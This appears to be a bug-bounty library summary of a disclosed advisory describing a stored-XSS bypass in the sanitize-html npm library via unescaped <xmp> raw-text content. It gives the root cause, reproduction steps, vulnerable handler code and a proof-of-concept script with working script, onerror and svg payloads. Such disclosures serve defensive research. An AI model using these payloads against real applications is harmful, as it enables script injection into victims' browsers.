# Apostrophe has default XSS via `xmp` raw-text passthrough in `sanitize-html`

sanitize-html's default config appends disallowed <xmp> raw-text content unescaped, letting <script>/onerror payloads survive sanitization and execute as stored XSS.

- Payout: Research
- Severity: critical
- Program: sanitize-html
- Found by: sushi-gif, arkon, Matsuuu, AND-TomHarris
- Disclosed: 2026-05-14
- CVE: CVE-2026-44990
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-rpr9-rxv7-x643
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rpr9-rxv7-x643
- Tags: area:web domain:oss domain:web impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:parser-differential technique:source-review vuln:xss

**Target:** npm sanitize-html library ontext handler
**Root cause:** xmp is missing from the default nonTextTags list, yet the ontext handler special-cases xmp and appends its raw text to output without escaping; htmlparser2 parses xmp contents as text on input, which become live markup on output.
**Steps:**
1. `npm install sanitize-html` (2.17.3)
2. Run `sanitizeHtml('<xmp><script>alert(1)</script></xmp>')`
3. Observe output `<script>alert(1)</script>` unescaped
4. Render returned string as trusted HTML to execute
**How found:** Noticed README's documented discard-contents exception list (style, script, textarea, option) omits xmp, then read index.js: default nonTextTags lacks xmp while the ontext handler special-cases xmp and appends text unescaped — a contradiction between parser raw-text handling and output escaping.
**Exploitation:** Attacker submits HTML wrapped in a disallowed <xmp> element containing <script> or event-handler payloads; sanitize-html returns the inner markup unescaped, and any app rendering the sanitized output as trusted HTML executes the script in a victim's browser.
**Insight:** When a sanitizer's parser treats an element as raw-text (RCDATA/rawtext) but the serializer re-emits its text unescaped, any element in that parser class not on the 'drop contents' list becomes a bypass — diff the parser's raw-text element set against the sanitizer's nonTextTags list.

## Proof of concept (copied exactly from the original report)

**Node script demonstrating xmp sanitizer bypass**

```
const sanitizeHtml = require('sanitize-html');

console.log(sanitizeHtml('<xmp><script>alert(1)</script></xmp>'));
console.log(sanitizeHtml('<xmp><img src=x onerror=alert(1)></xmp>'));
console.log(sanitizeHtml('<xmp><svg><script>alert(1)</script></svg></xmp>'));
```

**Observed unescaped XSS output**

```
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg><script>alert(1)</script></svg>
```

**Vulnerable ontext handler code**

```
} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (tag === 'textarea' || tag === 'xmp')) {
  result += text;
}
```

